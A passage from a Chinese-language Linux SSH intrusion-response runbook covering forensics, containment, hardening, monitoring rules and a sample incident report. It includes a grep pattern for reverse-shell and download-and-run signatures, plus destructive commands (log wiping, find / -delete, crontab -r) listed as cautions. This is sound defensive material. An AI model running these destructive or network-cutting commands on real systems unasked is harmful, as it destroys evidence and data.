find / -type&nbsp;f \( -name&nbsp;"*.sh"&nbsp;-o -name&nbsp;"*.py"&nbsp;-o -name&nbsp;"*.pl"&nbsp;-o -name&nbsp;"*.rb"&nbsp;\) -mtime -7 2>/dev/null |&nbsp;head

# 11. 关键字搜索可疑内容
grep -rl&nbsp;"1.2.3.4"&nbsp;/etc /usr/local /opt /var/www 2>/dev/null |&nbsp;head
grep -rl&nbsp;"nc -e\|bash -i\|curl.*sh\|wget.*sh"&nbsp;/tmp /var/tmp /dev/shm 2>/dev/null |&nbsp;head

# 12. AIDE / Tripwire
aide --check
tripwire --check

预期输出:

  • 修改时间在变更窗口内的文件;
  • 没有陌生 SUID 文件;
  • 没有 ld.so.preload;
  • RPM/DEB 校验全部通过。

异常表现:

  • 出现不认识的 SUID 文件 → 立即排查;
  • 出现不认识的脚本在 /tmp → 立即取证;
  • RPM/DEB 校验报错(..5 表示 size 改变)→ 立即排查;
  • 出现 ld.so.preload → 立即排查(这是经典的动态库劫持);
  • 关键字搜索命中反弹 shell 痕迹 → 立即排查。

5.9 步骤九:日志完整性与时间线

bash

# 1. 日志文件大小与 mtime
ls&nbsp;-la /var/log/secure /var/log/auth.log /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/audit/audit.log

# 2. 日志被清空/截断的迹象
wc&nbsp;-l /var/log/secure /var/log/auth.log
# 如果一个本来几十 MB 的日志突然变成 0 或几百字节,要警惕

# 3. logrotate 配置
cat&nbsp;/etc/logrotate.conf
cat&nbsp;/etc/logrotate.d/* | grep -A 5 -E&nbsp;"secure|auth"

# 4. 日志完整性(监控日志被删的钩子)
auditctl -w /var/log -p wa -k log_change

# 5. utmpdump 解析二进制日志
utmpdump /var/log/wtmp |&nbsp;tail&nbsp;-50
utmpdump /var/log/btmp |&nbsp;tail&nbsp;-50

# 6. 与远程日志服务器对比
ssh logserver&nbsp;"grep 'Accepted.*$(hostname)' /var/log/remote/*.log"

# 7. 关键事件时间线(用 grep 把所有 Accepted/Failed 拉出来排序)
(grep&nbsp;"Accepted"&nbsp;/var/log/secure; grep&nbsp;"Failed"&nbsp;/var/log/secure) |&nbsp;sort&nbsp;|&nbsp;head&nbsp;-200

# 8. 把时间线写到 incident 报告
cat&nbsp;> /tmp/incident-$TS/timeline.txt <<EOF
=== SSH Login Timeline ===
$(grep -E "Accepted|Failed|Invalid" /var/log/secure | tail -200)

=== Crontab Changes ===
$(ls -la /etc/cron* 2>/dev/null)

=== File Mtime Anomalies ===
$(find /etc /usr/local /var -mtime -3 -type f 2>/dev/null | head -50)
EOF

预期输出:

  • 日志大小符合基线;
  • logrotate 配置合理;
  • utmpdump 输出与 last/lastb 一致;
  • 时间线清晰可读。

异常表现:

  • 日志文件被清空或大小异常 → 攻击者清理痕迹;
  • 与远程日志服务器对比不一致 → 本地日志被篡改;
  • 时间线出现断档 → 部分事件被删。

5.10 步骤十:应急处置

处置优先级:

  1. 立即冻结可疑账号:passwd -l usernameusermod -L username
  2. 立即停止可疑进程:kill -STOP PID(先冻结取证),kill -TERM PID
  3. 立即断网(慎用,会影响业务):iptables -I INPUT -s <ip> -j DROP
  4. 立即修改运维账号密码/重新下发公钥;
  5. 立即清理后门:删除可疑计划任务、可疑 systemd 服务;
  6. 立即加固:关闭密码登录、限制来源 IP、强制双因素;
  7. 通知安全接口人、SOC、客户(如涉及);
  8. 写 incident 报告,含时间线、影响范围、根因、修复、改进项。
bash

# 冻结账号
passwd -l attacker_user
usermod -L attacker_user

# 删除公钥
sed -i&nbsp;'/^ssh-ed25519.*AAA...$/d'&nbsp;/home/opsuser/.ssh/authorized_keys

# 停掉可疑进程(先用 STOP 留证据)
kill&nbsp;-STOP <PID>
sleep&nbsp;5
cat&nbsp;/proc/<PID>/maps > /tmp/incident-$TS/maps-PID.txt
kill&nbsp;-TERM <PID>

# 强制 kill(慎用)
kill&nbsp;-9 <PID>

# 断网(封禁可疑 IP)
iptables -I INPUT -s <attacker_ip> -j DROP
ip6tables -I INPUT -s <attacker_ip> -j DROP

# 断本机所有外网(极端情况)
iptables -I OUTPUT -d 0.0.0.0/0 -j DROP
# 注意:这会断掉云监控、SSH 远程管理,必须有云控制台 VNC

# 清理 crontab
crontab -u root -r
crontab -u attacker_user -r

# 删除可疑脚本(取证后再删)
cp&nbsp;-a /tmp/xxx.sh /tmp/incident-$TS/
rm&nbsp;-f /tmp/xxx.sh

# 清理 systemd 服务
systemctl stop malicious.service
systemctl&nbsp;disable&nbsp;malicious.service
rm&nbsp;-f /etc/systemd/system/malicious.service

# 重新下发公钥
ssh-keygen -t ed25519 -f /home/opsuser/.ssh/id_ed25519.new
cat&nbsp;/home/opsuser/.ssh/id_ed25519.new.pub >> /home/opsuser/.ssh/authorized_keys
chmod&nbsp;600 /home/opsuser/.ssh/authorized_keys

# reload sshd
sshd -t && systemctl reload sshd

5.11 步骤十一:加固

bash

# 1. 关闭密码登录
sed -i&nbsp;'s/^#\?PasswordAuthentication.*/PasswordAuthentication no/'&nbsp;/etc/ssh/sshd_config

# 2. 禁用 root 远程登录
sed -i&nbsp;'s/^#\?PermitRootLogin.*/PermitRootLogin no/'&nbsp;/etc/ssh/sshd_config

# 3. 改端口(可选)
sed -i&nbsp;'s/^#\?Port.*/Port 2222/'&nbsp;/etc/ssh/sshd_config

# 4. 加白名单
echo"AllowUsers opsuser1 opsuser2"&nbsp;>> /etc/ssh/sshd_config

# 5. 启用 fail2ban
yum install -y fail2ban fail2ban-systemd &nbsp;# 或 apt
cat&nbsp;> /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
ignoreip = 127.0.0.1/8 10.10.0.0/16 192.168.0.0/16
bantime = 3600
findtime = 600
maxretry = 5
banaction = firewallcmd-rich-rules

[sshd]
enabled =&nbsp;true
port = 2222
filter = sshd
backend = systemd
logpath = /var/log/secure
maxretry = 5
EOF
systemctl&nbsp;enable&nbsp;--now fail2ban

# 6. 启用双因素
yum install -y google-authenticator

# 7. 收防火墙
firewall-cmd --permanent --zone=public --remove-port=22/tcp
firewall-cmd --permanent --zone=public --add-port=2222/tcp
firewall-cmd --permanent --zone=public --remove-service=ssh
firewall-cmd --reload

# 8. 安全组同步
# 在云厂商控制台同步规则

# 9. reload sshd
sshd -t && systemctl reload sshd

5.12 步骤十二:横向扩展排查

发现一台主机被入侵后,必须排查同网段其他主机:

bash

# 1. 同网段 IP 列表
ip a | grep inet | awk&nbsp;'{print $2}'

# 2. 扫描同网段 SSH 端口
# 慎用 nmap,会被安全设备告警
# 推荐用云厂商控制台/堡垒机批量查询

# 3. 对每台主机跑同样的命令清单
# 推荐用 Ansible + 堡垒机

# 4. 检查每台主机的 authorized_keys
for&nbsp;ip&nbsp;in&nbsp;$(cat&nbsp;ip-list.txt);&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$ip&nbsp;==="
&nbsp; &nbsp; ssh opsuser@$ip"find / -name authorized_keys -exec cat {} \;"
done

# 5. 检查每台主机的可疑进程
for&nbsp;ip&nbsp;in&nbsp;$(cat&nbsp;ip-list.txt);&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$ip&nbsp;==="
&nbsp; &nbsp; ssh opsuser@$ip"ps auxf | head -30"
done

横向排查的注意点:

  • 不要用 root SSH 跑批量命令,先建立审计;
  • 走堡垒机,便于回溯;
  • 控制并发(5-10 台),避免被封;
  • 排查结果归档,关联到同一个 incident。

六、常用命令

6.1 登录与会话

bash

last
last -F
last -i
last -t 20260701000000 &nbsp; &nbsp;# 截止某个时间
lastb
lastb -F
lastb -i
lastlog
lastlog -u username
who
w
ac -p
utmpdump /var/log/wtmp
utmpdump /var/log/btmp

6.2 日志分析

bash

# 实时跟踪
tail&nbsp;-f /var/log/secure
tail&nbsp;-F /var/log/auth.log
journalctl -u sshd -f

# 提取关键事件
grep&nbsp;"Accepted"&nbsp;/var/log/secure
grep&nbsp;"Failed password"&nbsp;/var/log/secure
grep&nbsp;"Invalid user"&nbsp;/var/log/secure
grep&nbsp;"Connection closed"&nbsp;/var/log/secure
grep&nbsp;"error"&nbsp;/var/log/secure

# 统计
grep&nbsp;"Failed password"&nbsp;/var/log/secure | awk&nbsp;'{print $11}'&nbsp;|&nbsp;sort&nbsp;|&nbsp;uniq&nbsp;-c |&nbsp;sort&nbsp;-rn
grep&nbsp;"Failed password"&nbsp;/var/log/secure | awk&nbsp;'{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}'&nbsp;|&nbsp;sort&nbsp;|&nbsp;uniq&nbsp;-c |&nbsp;sort&nbsp;-rn

# 时间分布
grep&nbsp;"Accepted\|Failed"&nbsp;/var/log/secure | awk&nbsp;'{print $1,$2,$3,$9,$11}'&nbsp;|&nbsp;sort

# 多日志关联
journalctl -u sshd --since&nbsp;"1 day ago"&nbsp;| grep -E&nbsp;"Accepted|Failed"

6.3 账号与配置

bash

# 账号体系
cat&nbsp;/etc/passwd
cat&nbsp;/etc/shadow &nbsp;# 仅 root 可读
cat&nbsp;/etc/group
awk -F:&nbsp;'$3==0 {print}'&nbsp;/etc/passwd
awk -F:&nbsp;'$7 ~ /(bash|sh)/ {print}'&nbsp;/etc/passwd
passwd -S -a
chage -l username

# sudo
cat&nbsp;/etc/sudoers
ls&nbsp;-la /etc/sudoers.d/
visudo -c &nbsp;&nbsp;# 语法检查

# SSH
sshd -T
cat&nbsp;/etc/ssh/sshd_config
ls&nbsp;-la /etc/ssh/
ssh-keygen -lf /etc/ssh/ssh_host_*

6.4 计划任务

bash

crontab -l
crontab -u user -l
ls&nbsp;-la /etc/cron* /var/spool/cron/ 2>/dev/null
systemctl list-timers --all
systemctl list-unit-files --state=enabled
cat&nbsp;/etc/rc.local

6.5 进程与资源

bash

top -c -b -n 1
htop
ps auxf
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu |&nbsp;head
pidstat -p PID 1 5
lsof -p PID
ls&nbsp;-la /proc/PID/exe
cat&nbsp;/proc/PID/cmdline
cat&nbsp;/proc/PID/status
ls&nbsp;/proc/PID/fd

6.6 网络

bash

ss -antp
ss -antp state established
ss -tlnp
netstat -anpt
netstat -s
ip route
ip neigh
conntrack -L
tcpdump -i eth0 -nn -s0 -w capture.pcap
nethogs
iftop

6.7 文件

bash

find / -mtime -7 -type&nbsp;f -not -path&nbsp;"/proc/*"&nbsp;-not -path&nbsp;"/sys/*"&nbsp;2>/dev/null
find / -perm -4000 -type&nbsp;f 2>/dev/null
find / -nouser -o -nogroup 2>/dev/null
find /tmp /var/tmp /dev/shm -type&nbsp;f 2>/dev/null
md5sum&nbsp;/path/to/file
sha256sum&nbsp;/path/to/file
rpm -Va
debsums -c

6.8 应急

bash

passwd -l username
usermod -L username
userdel -r username &nbsp;# 慎用
kill&nbsp;-STOP PID
kill&nbsp;-TERM PID
kill&nbsp;-9 PID &nbsp;# 慎用
iptables -I INPUT -s IP -j DROP
ip6tables -I INPUT -s IP -j DROP
systemctl stop service
systemctl&nbsp;disable&nbsp;service
crontab -r
rm&nbsp;-f /path/to/file &nbsp;# 先取证再删

七、配置示例

7.1 incident 报告目录结构

/var/tmp/incident-20260706-030000/
├── logs/
│ &nbsp; ├── secure
│ &nbsp; ├── auth.log
│ &nbsp; ├── messages
│ &nbsp; ├── audit.log
│ &nbsp; ├── dmesg.txt
│ &nbsp; ├── journalctl-30d.txt
│ &nbsp; ├── wtmp
│ &nbsp; ├── btmp
│ &nbsp; └── lastlog
├── proc/
│ &nbsp; ├── ps-auxf.txt
│ &nbsp; └── ps-ef.txt
├── net/
│ &nbsp; ├── ss-antp.txt
│ &nbsp; ├── ss-s.txt
│ &nbsp; ├── netstat.txt
│ &nbsp; ├── ip-route.txt
│ &nbsp; └── capture.pcap
├── config/
│ &nbsp; ├── ssh/
│ &nbsp; ├── pam.d/
│ &nbsp; ├── passwd
│ &nbsp; ├── shadow
│ &nbsp; ├── group
│ &nbsp; ├── sudoers
│ &nbsp; ├── sudoers.d/
│ &nbsp; ├── crontab
│ &nbsp; ├── cron.d/
│ &nbsp; ├── system-system/
│ &nbsp; └── system-lib/
├── binary/
│ &nbsp; └── md5-baseline.txt
├── timeline.txt
└── REPORT.md

7.2 incident 报告模板(REPORT.md

markdown

# 安全事件报告 — 服务器异常登录

| 字段 | 内容 |
| ---- | ---- |
| 主机名 | web-prod-01 |
| IP | 10.0.0.7 |
| 公网 IP | 1.2.3.4 |
| 事件类型 | SSH 异常登录 + 疑似爆破成功 |
| 严重等级 | 高 |
| 发现时间 | 2026-07-06 03:15:23 |
| 处置时间 | 2026-07-06 04:30:00 |
| 处置人 | opsuser1, opsuser2 |
| 影响范围 | 待评估 |

## 一、时间线

-&nbsp;2026-07-06 02:30:00:第一次来自 5.6.7.8 的 Failed password;
-&nbsp;2026-07-06 02:30:00 ~ 03:10:00:连续 1200 次失败;
-&nbsp;2026-07-06 03:15:23:来自 5.6.7.8 的 Accepted password for opsuser;
-&nbsp;2026-07-06 03:20:00:发现 /var/spool/cron/root 新增恶意任务;
-&nbsp;2026-07-06 03:30:00:发现 /tmp/x.sh 反弹 shell 脚本;
-&nbsp;2026-07-06 04:00:00:处置完成,封禁 IP、改口令、清理后门。

## 二、根因

主机 SSH 暴露公网 + 密码登录开启 + opsuser 弱口令,攻击者通过字典爆破成功。

## 三、影响范围

-&nbsp;opsuser 账号被控制 15 分钟;
-&nbsp;期间植入 crontab 反弹 shell 到 C2 服务器 9.9.9.9;
-&nbsp;同网段 3 台主机也发现相同 crontab 痕迹;
-&nbsp;未发现数据外发。

## 四、修复

-&nbsp;立即冻结 opsuser 账号,强制改口令;
-&nbsp;删除恶意 crontab 与反弹脚本;
-&nbsp;关闭密码登录,强制公私钥;
-&nbsp;加固 SSH 配置(端口、算法、白名单);
-&nbsp;启用 fail2ban;
-&nbsp;同网段主机批量排查;
-&nbsp;通知安全接口人。

## 五、改进项

-&nbsp;推动所有主机 SSH 公私钥化(已下发 12 台);
-&nbsp;所有主机改用堡垒机收敛入口;
-&nbsp;建立 SSH 登录告警;
-&nbsp;每周巡检 authorized_keys。

7.3 auditd 监控规则(/etc/audit/rules.d/ssh.rules

# sshd_config 监控
-w /etc/ssh/sshd_config -p wa -k sshd_config_change

# sshd 可执行文件监控
-w /usr/sbin/sshd -p x -k sshd_exec
-w /usr/bin/ssh -p x -k sshd_exec

# PAM 配置
-w /etc/pam.d/sshd -p wa -k sshd_pam_change

# 主机密钥
-w /etc/ssh/ssh_host_ed25519_key -p wa -k ssh_hostkey_change
-w /etc/ssh/ssh_host_rsa_key -p wa -k ssh_hostkey_change

# authorized_keys
-w /home -p wa -k authorized_keys_change
-w /root -p wa -k authorized_keys_change

# 关键文件
-w /etc/passwd -p wa -k passwd_change
-w /etc/shadow -p wa -k shadow_change
-w /etc/group -p wa -k group_change
-w /etc/sudoers -p wa -k sudoers_change
-w /etc/sudoers.d -p wa -k sudoers_change

# crontab
-w /etc/crontab -p wa -k cron_change
-w /etc/cron.d -p wa -k cron_change
-w /var/spool/cron -p wa -k cron_change

# 重要二进制
-w /usr/bin/passwd -p x -k binary_exec
-w /usr/bin/su -p x -k binary_exec
-w /usr/bin/sudo -p x -k binary_exec
-w /bin/bash -p x -k binary_exec
-w /bin/sh -p x -k binary_exec
-w /usr/sbin/useradd -p x -k binary_exec
-w /usr/sbin/userdel -p x -k binary_exec
-w /usr/sbin/usermod -p x -k binary_exec
-w /usr/sbin/groupadd -p x -k binary_exec

# systemd 服务
-w /etc/systemd/system -p wa -k systemd_change
-w /usr/lib/systemd/system -p wa -k systemd_change

加载:

bash

sudo&nbsp;augenrules --load
sudo&nbsp;systemctl restart auditd

7.4 监控告警规则(Prometheus)

yaml

groups:
&nbsp;&nbsp;-name:ssh_incident
&nbsp; &nbsp;&nbsp;rules:
&nbsp; &nbsp; &nbsp;&nbsp;-alert:SSHFailedLoginBurst
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;expr:increase(ssh_login_failed_total[5m])>50
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for:0m
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;severity:warning
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;summary:"{{ $labels.instance }}&nbsp;5 分钟 SSH 失败登录超过 50 次"

&nbsp; &nbsp; &nbsp;&nbsp;-alert:SSHLoginOffHours
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;expr:increase(ssh_login_success_total[1h])>0and(hour()<8orhour()>22)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for:0m
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;severity:warning
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;summary:"{{ $labels.instance }}&nbsp;非工作时间 SSH 登录"

&nbsp; &nbsp; &nbsp;&nbsp;-alert:SSHConfigChanged
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;expr:time()-file_mtime{path="/etc/ssh/sshd_config"}<600
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;severity:critical
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;summary:"{{ $labels.instance }}&nbsp;sshd_config 被修改"

&nbsp; &nbsp; &nbsp;&nbsp;-alert:AuthorizedKeysChanged
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;expr:time()-file_mtime{path=~".*authorized_keys"}<600
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;severity:critical
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;summary:"{{ $labels.instance }}&nbsp;authorized_keys 被修改"

&nbsp; &nbsp; &nbsp;&nbsp;-alert:NewSudoersFile
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;expr:increase(file_created_total{path=~"/etc/sudoers.d/.*"}[1h])>0
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;severity:critical
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;summary:"{{ $labels.instance }}&nbsp;新增 sudoers 文件"

7.5 SSH 登录采集脚本(/usr/local/bin/ssh_login_exporter.sh

bash

#!/usr/bin/env bash
# 写入 textfile_collector 给 Prometheus 抓取
LOG_FILE=${LOG_FILE:-/var/log/secure}
OUT=/var/lib/node_exporter/textfile_collector/ssh_login.prom

mkdir&nbsp;-p&nbsp;"$(dirname&nbsp;"$OUT")"

SUCCESS=$(grep -c&nbsp;"Accepted""$LOG_FILE"&nbsp;2>/dev/null ||&nbsp;echo&nbsp;0)
FAILED=$(grep -c&nbsp;"Failed password""$LOG_FILE"&nbsp;2>/dev/null ||&nbsp;echo&nbsp;0)
INVALID=$(grep -c&nbsp;"Invalid user""$LOG_FILE"&nbsp;2>/dev/null ||&nbsp;echo&nbsp;0)

cat&nbsp;>&nbsp;"$OUT.tmp"&nbsp;<<EOF
# HELP ssh_login_success_total Successful SSH logins
# TYPE ssh_login_success_total counter
ssh_login_success_total $SUCCESS

# HELP ssh_login_failed_total Failed SSH logins
# TYPE ssh_login_failed_total counter
ssh_login_failed_total $FAILED

# HELP ssh_login_invalid_total SSH logins with invalid user
# TYPE ssh_login_invalid_total counter
ssh_login_invalid_total $INVALID
EOF

mv"$OUT.tmp""$OUT"
bash

chmod&nbsp;+x /usr/local/bin/ssh_login_exporter.sh
cat&nbsp;> /etc/cron.d/ssh_login_exporter <<'EOF'
* * * * * root /usr/local/bin/ssh_login_exporter.sh
EOF

7.6 批量排查脚本(Ansible)

yaml

# ansible-playbook -i inv ssh-incident-check.yml
---
-name:SSHIncidentCheck
hosts:all
gather_facts:yes
become:yes
tasks:
&nbsp; &nbsp;&nbsp;-name:Getlastlogins
&nbsp; &nbsp; &nbsp;&nbsp;command:last-F-n20
&nbsp; &nbsp; &nbsp;&nbsp;register:last_out
&nbsp; &nbsp; &nbsp;&nbsp;changed_when:false

&nbsp; &nbsp;&nbsp;-name:Getlastfailed
&nbsp; &nbsp; &nbsp;&nbsp;command:lastb-F-n20
&nbsp; &nbsp; &nbsp;&nbsp;register:lastb_out
&nbsp; &nbsp; &nbsp;&nbsp;changed_when:false

&nbsp; &nbsp;&nbsp;-name:Getsshdconfigchecksum
&nbsp; &nbsp; &nbsp;&nbsp;stat:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;path:/etc/ssh/sshd_config
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;checksum_algorithm:sha256
&nbsp; &nbsp; &nbsp;&nbsp;register:sshd_config_stat

&nbsp; &nbsp;&nbsp;-name:Getauthorized_keysfiles
&nbsp; &nbsp; &nbsp;&nbsp;shell:find/home/root-nameauthorized_keys-typef2>/dev/null
&nbsp; &nbsp; &nbsp;&nbsp;register:ak_files
&nbsp; &nbsp; &nbsp;&nbsp;changed_when:false

&nbsp; &nbsp;&nbsp;-name:Getcrontabs
&nbsp; &nbsp; &nbsp;&nbsp;shell:|
&nbsp; &nbsp; &nbsp; &nbsp; for user in $(cut -f1 -d: /etc/passwd); do
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo "=== $user ==="
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; crontab -u "$user" -l 2>/dev/null
&nbsp; &nbsp; &nbsp; &nbsp; done
&nbsp; &nbsp; &nbsp; &nbsp; cat /etc/crontab 2>/dev/null
&nbsp; &nbsp; &nbsp; &nbsp; ls /etc/cron.d/ 2>/dev/null
&nbsp; &nbsp; &nbsp;&nbsp;register:crontab_out
&nbsp; &nbsp; &nbsp;&nbsp;changed_when:false

&nbsp; &nbsp;&nbsp;-name:Getsuspiciousprocesses
&nbsp; &nbsp; &nbsp;&nbsp;shell:psauxf|head-50
&nbsp; &nbsp; &nbsp;&nbsp;register:ps_out
&nbsp; &nbsp; &nbsp;&nbsp;changed_when:false

&nbsp; &nbsp;&nbsp;-name:Getestablishedconnections
&nbsp; &nbsp; &nbsp;&nbsp;shell:ss-antpstateestablished
&nbsp; &nbsp; &nbsp;&nbsp;register:ss_out
&nbsp; &nbsp; &nbsp;&nbsp;changed_when:false

&nbsp; &nbsp;&nbsp;-name:Savealldata
&nbsp; &nbsp; &nbsp;&nbsp;local_action:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;module:copy
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;content:|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HOST: {{ inventory_hostname }}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; === LAST ===
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {{ last_out.stdout }}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; === LASTB ===
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {{ lastb_out.stdout }}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; === SSHD CONFIG ===
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {{ sshd_config_stat.stat.checksum }}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {{ sshd_config_stat.stat.mtime }}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; === AUTHORIZED KEYS ===
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {{ ak_files.stdout }}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; === CRONTAB ===
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {{ crontab_out.stdout }}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; === PS ===
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {{ ps_out.stdout }}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; === SS ===
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {{ ss_out.stdout }}
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;dest:"./incident-{{ inventory_hostname }}-{{ ansible_date_time.date }}.txt"

八、日志或指标观察方法

8.1 关键日志文件

| 路径 | 用途 | | — | — | | /var/log/secure (RHEL) / /var/log/auth.log (Debian) | sshd、PAM 认证日志 | | /var/log/wtmp | 成功登录二进制日志,用 last 读取 | | /var/log/btmp | 失败登录二进制日志,用 lastb 读取 | | /var/log/lastlog | 每用户最后登录时间,用 lastlog 读取 | | /var/log/audit/audit.log | auditd 细粒度审计 | | /var/log/cron | cron 执行日志 | | /var/log/messages | 系统综合日志 | | /var/log/syslog (Debian) | 系统综合日志 | | journald | systemd 日志 |

8.2 关键指标

| 指标 | 含义 | 正常基线(参考) | 异常信号 | | — | — | — | — | | ssh_login_success_total | 成功登录次数 | 取决于业务 | 突增/陌生账号 | | ssh_login_failed_total | 失败登录次数 | 极少 | 突增 → 爆破 | | ssh_login_invalid_total | 不存在用户尝试 | 0 | 突增 → 扫描 | | process_count | 进程数 | 与基线一致 | 突增 → 注入 | | cpu_usage | CPU 占用 | 取决于业务 | 突增 → 挖矿 | | outbound_traffic | 出网流量 | 取决于业务 | 异常外联 | | file_mtime_sshd_config | sshd_config 修改时间 | 与变更窗口一致 | 计划外 → 可疑 | | file_mtime_authorized_keys | authorized_keys 修改时间 | 与变更窗口一致 | 计划外 → 可疑 |

8.3 告警规则

参见 7.4 节 Prometheus 告警规则。

8.4 重点观察方法

  • 用 grep 拉时间线;
  • 用 awk + sort | uniq -c 找高频来源、用户;
  • 用 journalctl 拉 systemd 日志;
  • 用 ausearch 拉 auditd 日志;
  • 用 tcpdump 抓异常外联;
  • 用 unhide 检测隐藏进程;
  • 用 rpm -Va / debsums -c 校验包完整性;
  • 用 aide --check 对比文件完整性基线。

九、排查路径

9.1 排查路径速查表

| 现象 | 第一动作 | 关键命令 | 进一步动作 | | — | — | — | — | | 监控告警 SSH 登录陌生 IP | 看日志确认本人 | lastlastbgrep Accepted | 通知本人、查操作记录 | | 大量 Failed password | 找高频 IP | awk + sort + uniq -c | fail2ban 封禁、改端口 | | 短时间内失败后 Accepted | 立即冻结账号 | last -Fpasswd -l | 排查后门、横向移动 | | 陌生账号登录成功 | 立即冻结 | lastlogpasswd -S | 删除账号、改所有密钥 | | /tmp 可疑脚本 | 取证后删除 | find /tmp -mtime -3 | 查时间线、查外联 | | 异常挖矿进程 | 立即取证 | topps auxf | 删进程、删 crontab | | 外联 C2 IP | 立即封禁 | ss -antp state established | 断网、查横向 | | sshd_config 被改 | 立即看 diff | statsshd -T | 回滚、改所有密钥 | | authorized_keys 有陌生公钥 | 立即删除 | catgrep | 改口令、改所有密钥 | | /etc/passwd 有陌生账号 | 立即冻结 | awk -F: '$3==0' | 删除、查 sudoers | | crontab 异常 | 立即清理 | crontab -lfor user in | 查历史、查脚本 | | wtmp/btmp 异常 | 比对远程日志 | utmpdumpstat | 怀疑被篡改 | | SSH 配置被回退 | 看 auditd | ausearch -k sshd_config_change | 查操作人 | | 主机 CPU 突然打满 | 看 top 进程 | top -cps -eo --sort=-pcpu | 查进程、查外联 | | 主机带宽异常 | 看网络连接 | iftopnethogs | 查外联 IP |

9.2 完整排查流程

告警/线索触发
&nbsp; &nbsp;↓
[步骤 1] 现场保全(备份日志、进程、网络、配置)
&nbsp; &nbsp;↓
[步骤 2] 登录轨迹分析(last/lastb/lastlog/secure)
&nbsp; &nbsp;↓
&nbsp; &nbsp;├── 正常:返回观察,加强监控
&nbsp; &nbsp;└── 异常:
&nbsp; &nbsp; &nbsp; &nbsp;↓
[步骤 3] SSH/PAM 配置核对
&nbsp; &nbsp;↓
&nbsp; &nbsp;├── 正常:进入 [步骤 4]
&nbsp; &nbsp;└── 异常:记录 → 进入 [步骤 4]
&nbsp; &nbsp; &nbsp; &nbsp;↓
[步骤 4] 账号体系核对
&nbsp; &nbsp;↓
[步骤 5] 计划任务核对
&nbsp; &nbsp;↓
[步骤 6] 进程维度排查
&nbsp; &nbsp;↓
[步骤 7] 网络外联核对
&nbsp; &nbsp;↓
[步骤 8] 文件系统可疑点
&nbsp; &nbsp;↓
[步骤 9] 日志完整性 + 时间线
&nbsp; &nbsp;↓
[步骤 10] 应急处置(冻结、断网、清理、加固)
&nbsp; &nbsp;↓
[步骤 11] 加固(关密码、限端口、fail2ban、双因素)
&nbsp; &nbsp;↓
[步骤 12] 横向扩展排查(同网段、同账号、其他主机)
&nbsp; &nbsp;↓
[步骤 13] 复盘报告 + 改进项 + 知识库归档

十、风险提醒

10.1 取证阶段风险

  • 不要在排查中执行 rm -rf /tmp/*:会破坏证据;
  • 不要执行 history -c:会丢失操作记录;
  • 不要执行 ddmkfs:会破坏磁盘;
  • 不要执行 mv /var/log:会破坏日志链;
  • 不要执行 : > /var/log/xxx.log:会清空日志;
  • 不要执行 find / -delete:误删风险极高;
  • 不要执行 kill -9 对所有进程:会破坏进程上下文。

10.2 应急处置风险

  • passwd -l

    是安全的(锁定账号),但 userdel -r 会删 home 目录,慎用;

  • kill -9

    会跳过 SIGTERM 的清理逻辑,可能导致共享内存泄漏;

  • iptables -I OUTPUT -d 0.0.0.0/0 -j DROP

    会断本机所有外网,包括 SSH 客户端连接;

  • crontab -r

    会清空整个 crontab,先备份;

  • rm -rf

    任何目录前必须先 cp -a 备份;

  • systemctl restart sshd

    会断开所有现有 SSH 连接,影响排查;

  • usermod -L

